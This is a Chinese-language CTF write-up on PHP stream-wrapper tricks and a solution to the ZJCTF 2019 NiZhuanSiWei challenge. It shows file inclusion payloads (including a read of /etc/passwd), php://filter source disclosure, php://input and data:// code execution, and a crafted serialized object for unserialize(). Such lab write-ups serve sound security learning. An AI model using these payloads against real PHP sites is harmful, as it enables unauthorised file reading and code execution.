CTF中常用的php偽協議利用


file://

作用:

用於訪問文件(絕對路徑、相對路徑、網絡路徑)

示例:

http://www.xx.com?file=file:///etc/passswd

php://

作用:

訪問輸入輸出流

1. php://filter

作用:

讀取源代碼並進行base64編碼輸出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](針對php文件需要base64編碼)

參數:

resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流
read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈。

2. php://input

作用:

執行POST數據中的php代碼

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST數據:<?php phpinfo()?>

注意:

enctype="multipart/form-data" 的時候 php://input 是無效的

data://

作用:

自PHP>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。一般需要用到base64編碼傳輸

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

實例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)

打開網址,給了源碼

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  • 代碼示意我們要get傳參text,file,password
  • 通過初步觀察,可基本確定text要求傳入文件,且文件內容為:welcome to the zjctf、file傳入一個文件名,通過include($file)包含進來、password未知

偽協議第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

這里需要我們傳入一個文件且其內容為welcome to the zjctf,才可以進入判斷進行下一步
由於:在官方手冊中file_get_contents()是用來將文件的內容讀入到一個字符串中的首選方法,並且給出了幾個運用實例。

echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 將會在該頁面中輸出圖片

在例子中發現:file_get_contents()$filename參數不僅僅為本地文件路徑,還可以是一個網絡路徑URL。於是便可以利用偽協議:

  • 姿勢一:data://協議利用
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解碼后為 ----->  welcome to the zjctf


url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

得到:

  • 姿勢二:php://協議利用
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST數據:welcome to the zjctf


POST請求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

welcome to the zjctf



回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40

<br><h1>welcome to the zjctf</h1></br>

偽協議第二次利用:

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

此處過濾了flag這個關鍵字,要是直接給你包含了,那也·······
可以看到代碼注釋中有一個useless.php,明面上說是沒用,但是我們可以通過偽協議拉下來瞅瞅

file=php://filter/read=convert.base64-encode/resource=useless.php

為了方便我們前面便用data協議來繞過 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),進入判斷語句內部

於是:

url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.phpbase64編碼后的內容:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKX sgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQT FoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解碼后得到:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

這一段代碼的意思是:獲取這個$file參數代表的文件並且輸出出來,注意Flag類中的$file參數與通過get傳輸$file參數不是同一個,兩者位於不同的作用域!
由其中的注釋猜測,應該是要我們包含flag.php這個文件即可獲得flag,即將Flag對象中的$file參數應為flag.php
如果我們包含了useless.php,則整體代碼變成了:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
            class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        } 
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

$password = unserialize($password);中,unserialize()函數是一個反序列化函數。不熟悉序列化與反序列化的可以百度一下。
若我們將一個序列化后的對象即一串字符串傳給$password,那么我們會得到一個實例對象,我們便不難想象,若是我們將一個useless.php中的Flag對象(其中$file參數的值為flag.php)序列化后得到的字符串傳給$password參數,經過反序列化后變變成了一個實例對象,一句可執行的代碼,且能輸出flag.php中的代碼!震驚!!!
於是構造:

<?php  
class Flag{   
    public $file="flag.php";    //Amazing   !!!!! 
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password = new Flag();
echo serialize($password);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

於是乎:
payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在url后加入以上語句后,會執行一下操作:

  • 首先,利用data偽協議,text參數便可以繞過if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),順利進入判斷語句內
  • 然后,包含了useless.php文件,從而在原代碼中引入了Flag對象,只有如此,在password參數反序列化才可輸出flag.php文件的內容
  • 傳入的password參數經過反序列化后,得到一個$file=flag.php的Flag對象,同時執行了該Flag對象內部的__tostring()方法,輸出flag.php的內容,從而得到flag
    注意:需要查看網頁源代碼方可見到flag

其他的偽協議:(菜雞思維導圖)
鏈接:https://pan.baidu.com/s/1-C6FWW3SBLin_us4_Kk5EQ
提取碼:56vl

參考:
1:https://www.freebuf.com/column/148886.html
2:https://www.redmango.top/article/13


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM